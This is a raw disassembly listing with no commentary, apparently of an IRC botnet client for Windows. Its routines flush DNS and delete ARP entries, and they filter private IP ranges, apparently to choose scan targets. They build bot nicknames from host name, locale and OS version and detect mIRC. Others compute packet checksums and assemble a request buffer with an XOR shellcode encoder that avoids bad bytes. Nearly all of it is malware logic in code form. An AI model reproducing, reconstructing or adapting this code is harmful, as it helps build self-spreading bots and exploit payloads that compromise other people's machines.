pop ecx
pop ecx
jnz short loc_40ADA9
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 14h
loc_40ADA9: ; CODE XREF: sub_40AA90+302j
lea eax, [ebp+Dest]
push eax
call sub_415C3F
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40AA90 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 20h
cmp dword ptr [ebp+8], 0
push esi
jz loc_40AE50
push offset dword_4E323C
push dword ptr [ebp+8]
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_40AE50
push 20h
lea eax, [ebp-20h]
push dword ptr [ebp+8]
push eax
call _strncpy
lea eax, [ebp-20h]
push offset a__9 ; "."
push eax
call _strtok
add esp, 14h
test eax, eax
jz short loc_40AE50
push eax
call _atoi
mov dword ptr [esp], offset a__10 ; "."
push 0
mov esi, eax
call _strtok
pop ecx
test eax, eax
pop ecx
jz short loc_40AE50
push eax
call _atoi
cmp esi, 0Ah
pop ecx
jz short loc_40AE4B
cmp esi, 0ACh
jnz short loc_40AE3C
cmp eax, 0Fh
jle short loc_40AE50
cmp eax, 20h
jl short loc_40AE4B
loc_40AE3C: ; CODE XREF: .text:0040AE30j
cmp esi, 0C0h
jnz short loc_40AE50
cmp eax, 0A8h
jnz short loc_40AE50
loc_40AE4B: ; CODE XREF: .text:0040AE28j
; .text:0040AE3Aj
push 1
pop eax
jmp short loc_40AE52
; ---------------------------------------------------------------------------
loc_40AE50: ; CODE XREF: .text:0040ADC6j
; .text:0040ADDDj ...
xor eax, eax
loc_40AE52: ; CODE XREF: .text:0040AE4Ej
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
sub_40AE55 proc near ; CODE XREF: sub_4019E7+4Fp
; sub_401CC7+5D16p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4E3138 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short locret_40AE7D
push [esp+arg_0]
call dword_4E317C ; gethostbyname
test eax, eax
jnz short loc_40AE76
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40AE76: ; CODE XREF: sub_40AE55+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_40AE7D: ; CODE XREF: sub_40AE55+Dj
retn
sub_40AE55 endp
; =============== S U B R O U T I N E =======================================
sub_40AE7E proc near ; CODE XREF: sub_4019E7+D6p
mov ecx, dword_4E3014
xor eax, eax
test ecx, ecx
jz short locret_40AE8C
call ecx ; DnsFlushResolverCache
locret_40AE8C: ; CODE XREF: sub_40AE7E+Aj
retn
sub_40AE7E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AE8D proc near ; CODE XREF: sub_401CC7:loc_404148p
Dest = byte ptr -88h
Size = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
push esi
push edi
push 1
pop ebx
lea eax, [ebp+Size]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+Size], edi
mov [ebp+var_4], ebx
call dword_4E3174 ; GetIpNetTable
mov ecx, eax
sub ecx, edi
jz loc_40AF59
sub ecx, 32h
jz loc_40AF52
sub ecx, 48h
jz short loc_40AEED
sub ecx, 6Eh
jz short loc_40AEE6
push eax
push offset asc_444304 ; "-"
loc_40AED5: ; CODE XREF: sub_40AE8D+91j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp short loc_40AF33
; ---------------------------------------------------------------------------
loc_40AEE6: ; CODE XREF: sub_40AE8D+40j
push offset unk_4442B0
jmp short loc_40AF25
; ---------------------------------------------------------------------------
loc_40AEED: ; CODE XREF: sub_40AE8D+3Bj
push [ebp+Size] ; Size
call _malloc
push [ebp+Size] ; Size
mov esi, eax
push edi ; Val
push esi ; Dst
call _memset
add esp, 10h
cmp esi, edi
jz short loc_40AF20
lea eax, [ebp+Size]
push ebx
push eax
push esi
call dword_4E3174 ; GetIpNetTable
cmp eax, edi
jz short loc_40AF59
push eax
push offset unk_444254
jmp short loc_40AED5
; ---------------------------------------------------------------------------
loc_40AF20: ; CODE XREF: sub_40AE8D+79j
push offset asc_444280 ; "-"
loc_40AF25: ; CODE XREF: sub_40AE8D+5Ej
; sub_40AE8D+CAj
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_40AF33: ; CODE XREF: sub_40AE8D+57j
lea eax, [ebp+Dest]
mov [ebp+var_4], edi
push eax
call sub_415C3F
pop ecx
loc_40AF43: ; CODE XREF: sub_40AE8D+CEj
; sub_40AE8D+E2j
push esi ; Memory
call _free
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40AF52: ; CODE XREF: sub_40AE8D+32j
push offset unk_4442D4
jmp short loc_40AF25
; ---------------------------------------------------------------------------
loc_40AF59: ; CODE XREF: sub_40AE8D+29j
; sub_40AE8D+89j
cmp [esi], edi
jbe short loc_40AF43
lea ebx, [esi+4]
loc_40AF60: ; CODE XREF: sub_40AE8D+E0j
push ebx
call dword_4E3170 ; DeleteIpNetEntry
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_40AF60
jmp short loc_40AF43
sub_40AE8D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AF71 proc near ; CODE XREF: sub_401CC7+2238p
; sub_401CC7+2389p ...
Dst = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+Dst]
push eax
push [ebp+arg_0]
call dword_4E309C ; getsockname
movzx eax, [ebp+var_D]
push eax
mov esi, offset byte_4E3228
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi ; Dest
call _sprintf
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40AF71 endp
; =============== S U B R O U T I N E =======================================
sub_40AFCA proc near ; CODE XREF: .text:0040C831p
; sub_413589+24Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
cmp esi, 1
jle short loc_40AFF3
mov ecx, esi
push edi
shr ecx, 1
mov edx, ecx
neg edx
lea esi, [esi+edx*2]
mov edx, [esp+8+arg_0]
loc_40AFE6: ; CODE XREF: sub_40AFCA+24j
movzx edi, word ptr [edx]
add eax, edi
inc edx
inc edx
dec ecx
jnz short loc_40AFE6
pop edi
jmp short loc_40AFF7
; ---------------------------------------------------------------------------
loc_40AFF3: ; CODE XREF: sub_40AFCA+Aj
mov edx, [esp+4+arg_0]
loc_40AFF7: ; CODE XREF: sub_40AFCA+27j
test esi, esi
pop esi
jz short loc_40B001
movzx ecx, byte ptr [edx]
add eax, ecx
loc_40B001: ; CODE XREF: sub_40AFCA+30j
mov ecx, eax
and eax, 0FFFFh
shr ecx, 10h
add ecx, eax
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_40AFCA endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+0Ch]
mov edx, [ebp+8]
push esi
xor esi, esi
cmp eax, 1
mov [ebp-4], esi
jle short loc_40B044
mov ecx, eax
push edi
shr ecx, 1
lea edi, [ecx+ecx]
sub eax, edi
loc_40B036: ; CODE XREF: .text:0040B03Ej
movzx edi, word ptr [edx]
add esi, edi
inc edx
inc edx
dec ecx
jnz short loc_40B036
pop edi
cmp eax, 1
loc_40B044: ; CODE XREF: .text:0040B02Aj
jnz short loc_40B051
mov al, [edx]
mov [ebp-4], al
movzx eax, word ptr [ebp-4]
add esi, eax
loc_40B051: ; CODE XREF: .text:loc_40B044j
mov ecx, esi
and esi, 0FFFFh
sar ecx, 10h
add ecx, esi
pop esi
mov eax, ecx
sar eax, 10h
add eax, ecx
not eax
leave
retn
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40B06A(char *Dest)
sub_40B06A proc near ; CODE XREF: sub_40B44F+49p
; DATA XREF: .data:off_444350o
Dest = dword ptr 4
push esi
push edi
call ds:dword_4F537C ; GetTickCount
push eax ; Seed
call _srand
pop ecx
call _rand
xor edx, edx
mov ecx, 48Fh
div ecx
mov edi, [esp+8+Dest]
push off_4443B8[edx*4]
push offset aS_37 ; "%s"
push 1Ch ; Count
push edi ; Dest
call __snprintf
xor esi, esi
add esp, 10h
cmp dword_43F098, esi
jle short loc_40B0D2
loc_40B0AC: ; CODE XREF: sub_40B06A+66j
call _rand
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI_3 ; "%s%i"
push 1Ch ; Count
push edi ; Dest
call __snprintf
add esp, 14h
inc esi
cmp esi, dword_43F098
jl short loc_40B0AC
loc_40B0D2: ; CODE XREF: sub_40B06A+40j
mov eax, edi
pop edi
pop esi
retn
sub_40B06A endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40B0D7(char *Dest)
sub_40B0D7 proc near ; DATA XREF: .data:00444364o
var_C = dword ptr -0Ch
Dest = dword ptr 4
push esi
push edi
call ds:dword_4F537C ; GetTickCount
push eax ; Seed
call _srand
mov edi, [esp+0Ch+Dest]
mov [esp+0Ch+var_C], offset asc_43F134 ; "-"
push offset aS_38 ; "%s"
push 1Ch ; Count
push edi ; Dest
call __snprintf
xor esi, esi
add esp, 10h
cmp dword_43F098, esi
jle short loc_40B130
loc_40B10A: ; CODE XREF: sub_40B0D7+57j
call _rand
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI_4 ; "%s%i"
push 1Ch ; Count
push edi ; Dest
call __snprintf
add esp, 14h
inc esi
cmp esi, dword_43F098
jl short loc_40B10A
loc_40B130: ; CODE XREF: sub_40B0D7+31j
mov eax, edi
pop edi
pop esi
retn
sub_40B0D7 endp
; =============== S U B R O U T I N E =======================================
sub_40B135 proc near ; CODE XREF: sub_401CC7+6A4Dp
; DATA XREF: .data:00444378o
arg_0 = dword ptr 4
push ebx
push esi
push edi
call ds:dword_4F537C ; GetTickCount
push eax ; Seed
call _srand
pop ecx
call _rand
push 3
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, dword_43F098
test esi, esi
jle short loc_40B178
loc_40B162: ; CODE XREF: sub_40B135+41j
call _rand
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_40B162
loc_40B178: ; CODE XREF: sub_40B135+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40B135 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40B182(char *Dest)
sub_40B182 proc near ; DATA XREF: .data:0044438Co
var_4 = dword ptr -4
Dest = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov esi, offset aPc ; "PC"
mov [ebp+var_4], 100h
xor edi, edi
call ds:dword_4F537C ; GetTickCount
push eax ; Seed
call _srand
pop ecx
lea eax, [ebp+var_4]
push eax
push esi
call ds:dword_4F5394 ; GetComputerNameA
test eax, eax
jnz short loc_40B1B7
mov esi, offset aPc_0 ; "PC"
loc_40B1B7: ; CODE XREF: sub_40B182+2Ej
movsx eax, byte ptr [esi]
push 41h
pop ecx
loc_40B1BD: ; CODE XREF: sub_40B182+46j
cmp eax, ecx
jnz short loc_40B1C4
push 1
pop edi
loc_40B1C4: ; CODE XREF: sub_40B182+3Dj
inc ecx
cmp ecx, 5Bh
jl short loc_40B1BD
push 61h
pop ecx
loc_40B1CD: ; CODE XREF: sub_40B182+56j
cmp eax, ecx
jnz short loc_40B1D4
push 1
pop edi
loc_40B1D4: ; CODE XREF: sub_40B182+4Dj
inc ecx
cmp ecx, 7Bh
jl short loc_40B1CD
test edi, edi
jnz short loc_40B1E3
mov esi, offset aPc_1 ; "PC"
loc_40B1E3: ; CODE XREF: sub_40B182+5Aj
mov edi, [ebp+Dest]
push esi ; Format
push 1Ch ; Count
push edi ; Dest
call __snprintf
xor esi, esi
add esp, 0Ch
cmp dword_43F098, esi
jle short loc_40B222
loc_40B1FC: ; CODE XREF: sub_40B182+9Ej
call _rand
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI_0 ; "%s%i"
push 1Ch ; Count
push edi ; Dest
call __snprintf
add esp, 14h
inc esi
cmp esi, dword_43F098
jl short loc_40B1FC
loc_40B222: ; CODE XREF: sub_40B182+78j
mov eax, edi
pop edi
pop esi
leave
retn
sub_40B182 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40B228(char *Dest)
sub_40B228 proc near ; DATA XREF: .data:004443A0o
var_C = byte ptr -0Ch
Dest = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
call ds:dword_4F537C ; GetTickCount
push eax ; Seed
call _srand
pop ecx
lea eax, [ebp+var_C]
push 0Ah
push eax
push 7
push 800h
call ds:dword_4F5398 ; GetLocaleInfoA
mov edi, [ebp+Dest]
lea eax, [ebp+var_C]
push eax
push offset aS_22 ; "%s|"
push 1Ch ; Count
push edi ; Dest
call __snprintf
xor esi, esi
add esp, 10h
cmp dword_43F098, esi
jle short loc_40B297
loc_40B271: ; CODE XREF: sub_40B228+6Dj
call _rand
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI_1 ; "%s%i"
push 1Ch ; Count
push edi ; Dest
call __snprintf
add esp, 14h
inc esi
cmp esi, dword_43F098
jl short loc_40B271
loc_40B297: ; CODE XREF: sub_40B228+47j
mov eax, edi
pop edi
pop esi
leave
retn
sub_40B228 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40B29D(char *Dest)
sub_40B29D proc near ; DATA XREF: .data:004443B4o
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
Dest = dword ptr 8
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp+var_94]
push edi
push eax
mov esi, offset dword_4E3244
mov [ebp+var_94], 94h
call ds:dword_4F539C ; GetVersionExA
call ds:dword_4F537C ; GetTickCount
push eax ; Seed
call _srand
cmp [ebp+var_90], 4
pop ecx
jnz short loc_40B321
cmp [ebp+var_8C], 0
jnz short loc_40B301
cmp [ebp+var_84], 1
jnz short loc_40B2F1
mov esi, offset a95 ; "95"
loc_40B2F1: ; CODE XREF: sub_40B29D+4Dj
cmp [ebp+var_84], 2
jnz short loc_40B35D
mov esi, offset aNt ; "NT"
jmp short loc_40B35D
; ---------------------------------------------------------------------------
loc_40B301: ; CODE XREF: sub_40B29D+44j
cmp [ebp+var_8C], 0Ah
jnz short loc_40B311
mov esi, offset a98 ; "98"
jmp short loc_40B35D
; ---------------------------------------------------------------------------
loc_40B311: ; CODE XREF: sub_40B29D+6Bj
cmp [ebp+var_8C], 5Ah
jnz short loc_40B358
mov esi, offset aMe_0 ; "ME"
jmp short loc_40B35D
; ---------------------------------------------------------------------------
loc_40B321: ; CODE XREF: sub_40B29D+3Bj
cmp [ebp+var_90], 5
jnz short loc_40B358
cmp [ebp+var_8C], 0
jnz short loc_40B33A
mov esi, offset a2k ; "2K"
jmp short loc_40B35D
; ---------------------------------------------------------------------------
loc_40B33A: ; CODE XREF: sub_40B29D+94j
cmp [ebp+var_8C], 1
jnz short loc_40B34A
mov esi, offset aXp ; "XP"
jmp short loc_40B35D
; ---------------------------------------------------------------------------
loc_40B34A: ; CODE XREF: sub_40B29D+A4j
cmp [ebp+var_8C], 2
mov esi, offset a2k3 ; "2K3"
jz short loc_40B35D
loc_40B358: ; CODE XREF: sub_40B29D+7Bj
; sub_40B29D+8Bj
mov esi, offset a??? ; "???"
loc_40B35D: ; CODE XREF: sub_40B29D+5Bj
; sub_40B29D+62j ...
mov edi, [ebp+Dest]
push esi
push offset aS_23 ; "[%s]|"
push 1Ch ; Count
push edi ; Dest
call __snprintf
xor esi, esi
add esp, 10h
cmp dword_43F098, esi
jle short loc_40B3A1
loc_40B37B: ; CODE XREF: sub_40B29D+102j
call _rand
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI_2 ; "%s%i"
push 1Ch ; Count
push edi ; Dest
call __snprintf
add esp, 14h
inc esi
cmp esi, dword_43F098
jl short loc_40B37B
loc_40B3A1: ; CODE XREF: sub_40B29D+DCj
mov eax, edi
pop edi
pop esi
leave
retn
sub_40B29D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40B3A7(char *Dest)
sub_40B3A7 proc near ; CODE XREF: sub_40B44F+5Cp
Source = byte ptr -1Ch
Dest = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
call ds:dword_4F537C ; GetTickCount
xor edx, edx
mov ecx, 5265C00h
div ecx
push 0
mov esi, eax
cmp esi, 64h
jbe short loc_40B3F6
push offset aMirc_0 ; "mIRC"
call dword_4E3104 ; FindWindowA
test eax, eax
mov eax, offset aM_0 ; "[M]"
jnz short loc_40B3DF
mov eax, offset dword_4E3248
loc_40B3DF: ; CODE XREF: sub_40B3A7+31j
push eax
push esi
push offset aDS ; "[%d]%s"
lea eax, [ebp+Source]
push 1Ch ; Count
push eax ; Dest
call __snprintf
add esp, 14h
jmp short loc_40B41B
; ---------------------------------------------------------------------------
loc_40B3F6: ; CODE XREF: sub_40B3A7+1Dj
push offset aMirc_1 ; "mIRC"
call dword_4E3104 ; FindWindowA
test eax, eax
mov eax, offset aM_1 ; "[M]"
jnz short loc_40B40F
mov eax, offset dword_4E324C
loc_40B40F: ; CODE XREF: sub_40B3A7+61j
push eax ; Format
lea eax, [ebp+Source]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_40B41B: ; CODE XREF: sub_40B3A7+4Dj
lea eax, [ebp+Source]
push eax ; Str
call _strlen
pop ecx
cmp eax, 2
pop esi
jbe short loc_40B44A
push 1Ch ; Count
lea eax, [ebp+Source]
push [ebp+Dest] ; Source
push eax ; Dest
call _strncat
lea eax, [ebp+Source]
push 1Ch ; Count
push eax ; Source
push [ebp+Dest] ; Dest
call _strncpy
add esp, 18h
loc_40B44A: ; CODE XREF: sub_40B3A7+82j
mov eax, [ebp+Dest]
leave
retn
sub_40B3A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40B44F(char *Dest,int,int,char *Str1)
sub_40B44F proc near ; CODE XREF: sub_4019E7+7Fp
; sub_401B4F+50p ...
Dest = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
Str1 = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, offset dword_44434C
loc_40B45B: ; CODE XREF: sub_40B44F+3Fj
cmp [ebp+Str1], 0
jz short loc_40B476
lea eax, [esi-0Ch]
push eax ; Str2
push [ebp+Str1] ; Str1
call _strcmp
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40B480
; ---------------------------------------------------------------------------
loc_40B476: ; CODE XREF: sub_40B44F+10j
mov ecx, [esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_40B480: ; CODE XREF: sub_40B44F+25j
test eax, eax
jnz short loc_40B492
add esi, 14h
inc edi
cmp esi, offset off_4443C4
jb short loc_40B45B
jmp short loc_40B4A0
; ---------------------------------------------------------------------------
loc_40B492: ; CODE XREF: sub_40B44F+33j
push [ebp+Dest] ; Dest
lea eax, [edi+edi*4]
call off_444350[eax*4]
pop ecx
loc_40B4A0: ; CODE XREF: sub_40B44F+41j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_40B4B3
push [ebp+Dest] ; Dest
call sub_40B3A7
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40B4B3: ; CODE XREF: sub_40B44F+57j
mov eax, [ebp+Dest]
pop ebp
retn
sub_40B44F endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40B4B8(char *Str,int)
sub_40B4B8 proc near ; CODE XREF: sub_40B4D8+Ap
; sub_40B5B0+8p ...
Str = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+Str] ; Str
call _strlen
push [esp+8+arg_4] ; Str
mov esi, eax
call _strlen
pop ecx
lea eax, [esi+eax*2+0C1h]
pop ecx
pop esi
retn
sub_40B4B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40B4D8(void *Dst,int,char *Src,int)
sub_40B4D8 proc near ; CODE XREF: .text:0040B610p
var_4 = dword ptr -4
Dst = dword ptr 8
arg_4 = dword ptr 0Ch
Src = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_C] ; int
push [ebp+Src] ; Str
call sub_40B4B8
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
mov [ebp+var_4], eax
jbe short loc_40B4F5
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40B4F5: ; CODE XREF: sub_40B4D8+17j
push ebx
push esi
push edi
push [ebp+Src] ; Str
call _strlen
push [ebp+arg_C] ; Str
mov esi, eax
call _strlen
mov edi, eax
mov ebx, [ebp+Dst]
push 0FFFFFFEDh
lea eax, [edi+esi+12h]
mov dword_44813C, eax
lea eax, [edi+1]
mov dword_44815D, eax
lea eax, [edi+17h]
mov dword_448155, eax
pop eax
push 74h ; Size
sub eax, edi
push offset dword_4480D8 ; Src
push ebx ; Dst
mov dword_44816B, eax
call _memcpy
push esi ; Size
lea eax, [ebx+74h]
push [ebp+Src] ; Src
push eax ; Dst
call _memcpy
add esi, 74h
push 5 ; Size
push offset aGet ; " get "
lea eax, [esi+ebx]
push eax ; Dst
call _memcpy
add esi, 5
push edi ; Size
push [ebp+arg_C] ; Src
lea eax, [esi+ebx]
push eax ; Dst
call _memcpy
add esi, edi
push 10h ; Size
push (offset aGet+5) ; Src
lea eax, [esi+ebx]
push eax ; Dst
call _memcpy
add esp, 44h
add esi, 10h
push edi ; Size
lea eax, [esi+ebx]
push [ebp+arg_C] ; Src
push eax ; Dst
call _memcpy
add esi, edi
push 38h ; Size
add esi, ebx
push offset byte_448161 ; Src
push esi ; Dst
call _memcpy
mov eax, [ebp+var_4]
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_40B4D8 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40B5B0(char *Str,int)
sub_40B5B0 proc near ; CODE XREF: .text:0040B5D4p
Str = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4] ; int
push [esp+4+Str] ; Str
call sub_40B4B8
push eax
call sub_40B634
add esp, 0Ch
retn
sub_40B5B0 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+10h]
push edi
mov edi, [ebp+14h]
push edi
push ebx
call sub_40B5B0
cmp eax, [ebp+0Ch]
pop ecx
pop ecx
ja short loc_40B5E7
cmp eax, 0FFFFh
jbe short loc_40B5EB
loc_40B5E7: ; CODE XREF: .text:0040B5DEj
xor eax, eax
jmp short loc_40B630
; ---------------------------------------------------------------------------
loc_40B5EB: ; CODE XREF: .text:0040B5E5j
push esi
push edi
push ebx
call sub_40B4B8
add eax, 101h
push eax
call _malloc
add esp, 0Ch
mov esi, eax
push edi
push ebx
push edi
push ebx
call sub_40B4B8
pop ecx
pop ecx
push eax
push esi
call sub_40B4D8
push eax
push esi
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40B64F
push esi
mov edi, eax
call _free
add esp, 24h
mov eax, edi
pop esi
loc_40B630: ; CODE XREF: .text:0040B5E9j
pop edi
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_40B634 proc near ; CODE XREF: sub_40B5B0+Ep
; sub_40B64F+4Ap
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test cl, cl
jnz short loc_40B63D
inc ecx
loc_40B63D: ; CODE XREF: sub_40B634+6j
mov eax, 0FFh
cmp eax, ecx
sbb eax, eax
and eax, 2
add eax, 15h
add eax, ecx
retn
sub_40B634 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40B64F(void *Dst,int,int,int)
sub_40B64F proc near ; CODE XREF: .text:0040B61Dp
var_4 = dword ptr -4
Dst = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
cmp byte ptr [ebp+arg_C], 0Ah
jz short loc_40B66B
cmp byte ptr [ebp+arg_C], 0Dh
jz short loc_40B66B
cmp byte ptr [ebp+arg_C], 5Ch
jz short loc_40B66B
cmp byte ptr [ebp+arg_C], 0
jnz short loc_40B66E
loc_40B66B: ; CODE XREF: sub_40B64F+8j
; sub_40B64F+Ej ...
inc [ebp+arg_C]
loc_40B66E: ; CODE XREF: sub_40B64F+1Aj
push esi
mov esi, 0FFh
cmp [ebp+arg_C], esi
jbe short loc_40B696
mov eax, [ebp+arg_C]
shr eax, 8
cmp al, 0Ah
jz short loc_40B68F
cmp al, 0Dh
jz short loc_40B68F
cmp al, 5Ch
jz short loc_40B68F
test al, al
jnz short loc_40B696
loc_40B68F: ; CODE XREF: sub_40B64F+32j
; sub_40B64F+36j ...
add [ebp+arg_C], 100h
loc_40B696: ; CODE XREF: sub_40B64F+28j
; sub_40B64F+3Ej
push [ebp+arg_C]
call sub_40B634
cmp eax, [ebp+arg_4]
pop ecx
mov [ebp+var_4], eax
ja short loc_40B6AE
cmp eax, 0FFFFh
jbe short loc_40B6B5
loc_40B6AE: ; CODE XREF: sub_40B64F+56j
xor eax, eax
jmp loc_40B753
; ---------------------------------------------------------------------------
loc_40B6B5: ; CODE XREF: sub_40B64F+5Dj
mov ecx, [ebp+arg_C]
push ebx
mov bl, byte_4E3250
xor edx, edx
push edi
mov edi, [ebp+arg_8]
test ecx, ecx
jbe short loc_40B6E5
loc_40B6C9: ; CODE XREF: sub_40B64F+94j
mov al, [edx+edi]
xor al, bl
jz short loc_40B6DC
cmp al, 0Ah
jz short loc_40B6DC
cmp al, 0Dh
jz short loc_40B6DC
cmp al, 5Ch
jnz short loc_40B6E0
loc_40B6DC: ; CODE XREF: sub_40B64F+7Fj
; sub_40B64F+83j ...
inc bl
xor edx, edx
loc_40B6E0: ; CODE XREF: sub_40B64F+8Bj
inc edx
cmp edx, ecx
jb short loc_40B6C9
loc_40B6E5: ; CODE XREF: sub_40B64F+78j
cmp ecx, esi
mov byte_4E3250, bl
ja short loc_40B711
push 15h ; Size
push offset dword_4480C0 ; Src
push [ebp+Dst] ; Dst
mov byte_4480CD, cl
mov byte_4480D1, bl
call _memcpy
add esp, 0Ch
push 15h
jmp short loc_40B732
; ---------------------------------------------------------------------------
loc_40B711: ; CODE XREF: sub_40B64F+9Ej
push 17h ; Size
push offset dword_4480A8 ; Src
push [ebp+Dst] ; Dst
mov word_4480B6, cx
mov byte_4480BB, bl
call _memcpy
add esp, 0Ch
push 17h
loc_40B732: ; CODE XREF: sub_40B64F+C0j
xor eax, eax
pop ecx
cmp [ebp+arg_C], eax
jbe short loc_40B74E
mov edx, [ebp+Dst]
lea esi, [ecx+edx]
loc_40B740: ; CODE XREF: sub_40B64F+FDj
mov cl, [eax+edi]
xor cl, bl
mov [esi+eax], cl
inc eax
cmp eax, [ebp+arg_C]
jb short loc_40B740
loc_40B74E: ; CODE XREF: sub_40B64F+E9j
mov eax, [ebp+var_4]
pop edi
pop ebx
loc_40B753: ; CODE XREF: sub_40B64F+61j
pop esi
leave
retn
sub_40B64F endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40B756(char *Source,int,int)
sub_40B756 proc near ; CODE XREF: WinMain(x,x,x,x)+378p
; WinMain(x,x,x,x)+3B7p ...
Source = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_455E18
loc_40B75E: ; CODE XREF: sub_40B756+18j
cmp byte ptr [eax], 0
jz short loc_40B772
add eax, 234h
inc edi
cmp eax, offset dword_4E2E18
jl short loc_40B75E
jmp short loc_40B7BD
; ---------------------------------------------------------------------------
loc_40B772: ; CODE XREF: sub_40B756+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh ; Count
push [esp+0Ch+Source] ; Source
lea eax, dword_455E18[esi]
push eax ; Dest
call _strncpy
mov eax, [esp+14h+arg_4]
add esp, 0Ch
mov dword_456018[esi], eax
and dword_45601C[esi], 0
mov eax, [esp+8+arg_8]
and dword_456020[esi], 0
mov dword_456024[esi], eax
and byte_456030[esi], 0
pop esi
loc_40B7BD: ; CODE XREF: sub_40B756+1Aj
mov eax, edi
pop edi
retn
sub_40B756 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B7C1 proc near ; DATA XREF: sub_401CC7+297Ao
var_98 = dword ptr -98h
Str = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
push [ebp+var_10] ; int
